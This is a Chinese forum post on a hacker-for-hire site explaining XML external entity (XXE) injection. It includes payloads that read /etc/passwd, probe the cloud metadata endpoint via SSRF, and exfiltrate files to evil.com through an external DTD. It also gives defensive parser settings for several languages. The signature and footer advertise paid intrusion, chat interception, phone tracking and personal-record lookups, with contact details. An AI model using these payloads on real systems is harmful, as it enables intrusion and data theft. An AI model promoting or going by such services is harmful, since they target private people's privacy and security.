打印 上一主题 下一主题

XML外部实体注入(XXE)——解析器引发的灾难

[复制链接]
跳转到指定楼层
楼主
发表于 昨天 23:31 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
查看 : 6|回复 : 0
XML外部实体注入(XXE)——解析器引发的灾难
摘要:XML外部实体注入(XXE, XML eXternal Entity)是针对未安全配置的XML解析器的攻击,利用外部实体声明读取本地文件、执行SSRF请求甚至导致拒绝服务。尽管XML日渐式微,但SOAP、SAML、RSS等老协议以及大量企业级应用中仍广泛使用XML,XXE从2017年起持续位于OWASP Top 10。本文详细阐述XXE的攻击原理,介绍带外交互、Blind XXE利用方式,并给出禁用外部实体、升级解析库等防御措施。
关键词:黑客网站攻击;XXE;XML外部实体注入;渗透测试;SSRF;解析器安全;Blind XXE

一、引言
许多应用程序接收XML格式的输入(如API请求、WebService、文件上传),并使用XML库解析。如果解析器允许外部实体(DOCTYPE声明),攻击者可以定义外部实体引用本地文件或远程URL,解析时即被包含。通过XXE,攻击者能读取任意文件、扫描内网端口、甚至利用jar:协议进行代码执行。由于开发者往往忽略XML解析器的配置,XXE成为黑客网站攻击中隐蔽而有效的突破口。
二、XXE攻击原理2.1 外部实体定义
XML文档可通过<!ENTITY>定义实体,其中外部实体语法为<!ENTITY 实体名 SYSTEM "URI">。解析器读取该URI的内容并替换到实体引用位置。
2.2 简单利用示例
请求报文:
[size=12.573px]xml



<?xml version="1.0"?><!DOCTYPE foo [  <!ENTITY xxe SYSTEM "file:///etc/passwd">><user><name>&xxe;</name></user>

服务器响应中可能包含<name>root:x:0:0:...</name>,泄露密码文件。
三、渗透测试高级利用3.1 读取目录列表(特定平台)
  • PHP expect:// 协议可执行命令(需安装expect扩展)。
  • Java jar: 协议列出jar包内文件。

3.2 SSRF(服务端请求伪造)[size=12.573px]xml



<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">

可扫描内网、读取AWS元数据。
3.3 Blind XXE(无回显)
当解析结果不直接输出时,可通过外带数据通道:
[size=12.573px]xml



<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % dtd SYSTEM "http://evil.com/xxe.dtd">%dtd;

在外部DTD文件:
[size=12.573px]xml



<!ENTITY % send SYSTEM "http://evil.com/log?data=%file;">

将文件内容作为URL参数发送到攻击者服务器。
3.4 DoS攻击(Billion Laughs)
嵌套实体展开导致内存耗尽。
四、防御XXE的完整方案4.1 禁用外部实体(最有效)
每种语言的XML解析器都应显式禁用DTD或外部实体:
  • Java(SAX/DOMParser):

[size=12.573px]java



DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

  • PHP(libxml):

[size=12.573px]php



libxml_disable_entity_loader(true);$dom = new DOMDocument();$dom->loadXML($xml, LIBXML_NOENT | LIBXML_NONET);

  • Python(lxml):

[size=12.573px]python



from lxml import etreeparser = etree.XMLParser(resolve_entities=False)tree = etree.fromstring(xml_data, parser)

  • C#:

[size=12.573px]csharp



XmlReaderSettings settings = new XmlReaderSettings();settings.DtdProcessing = DtdProcessing.Prohibit;

4.2 使用替代格式
尽量使用JSON而不是XML,从根本上避免XXE。
4.3 输入验证与上传文件检测
  • 扫描XML内容中是否包含<!DOCTYPE、<!ENTITY、SYSTEM等敏感字符串并拒绝。
  • 对于无法禁用外部实体的老旧系统,可设置代理白名单或防火墙限制解析器发起的请求。

五、检测XXE漏洞
  • 手动测试:提交包含外部实体的XML,检查响应是否包含文件内容或触发了对外部URL的请求(可配合DNSlog)。
  • 自动化工具:Burp Suite的XXE Scanner插件、XXEinjector、OWASP ZAP。

六、总结
XXE攻击直接源于XML解析器默认允许危险行为。防御措施非常简单:禁用外部实体和DTD。如果业务必须使用外部实体,则需严格白名单控制引用的URI,并对解析结果进行安全审查。多数情况下,禁用外部实体不影响正常功能。


黑客接单网,一个诚信可靠的黑客在线接单平台网站 - 论坛版权欢迎各位客户访问黑客接单网
黑客接单网,一个诚信可靠的黑客在线接单平台网站是一个专业的黑客在线接单服务平台
黑客接单网,一个诚信可靠的黑客在线接单平台网站聚集多位顶级黑客大牛于此
专业服务于网站攻击,网站入侵,软件开发,软件破解,聊天记录截取,手机定位,删帖,改贴,开房记录查询等各种网络服务
如果您有相关业务需求,请联系我们在线客服咨询,获取解决方案
黑客接单网,一个诚信可靠的黑客在线接单平台网站全体工作人员恭候您下达任务,我们誓必不负重托。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

HeiKeJieDan(黑客接单网)黑客接单网,是一个国际顶级黑客在线接单网站平台,平台聚集数十位IT界顶级黑客精英大神,软件-网站开发工程师,逆向破解工程师,以及后勤协助人员,网络在线全职兼职人员,强大的IT精英团队聚集,只为为您提供最优质可靠的网络安全技术服务。

联系我们

新加坡-缅甸-菲律宾-美国

0037259400637(服务时间:9:00-18:00)

hk@heike8.com

在线咨询新浪微博官方微信官方微信

黑客客服

网   址:WWW.HKJD.CC
邮箱号:hk@heike8.com
快手号:HeiKeJieDan
电报TG号:hkjd9988
国际客服:0037259400637

快速回复 返回顶部 返回列表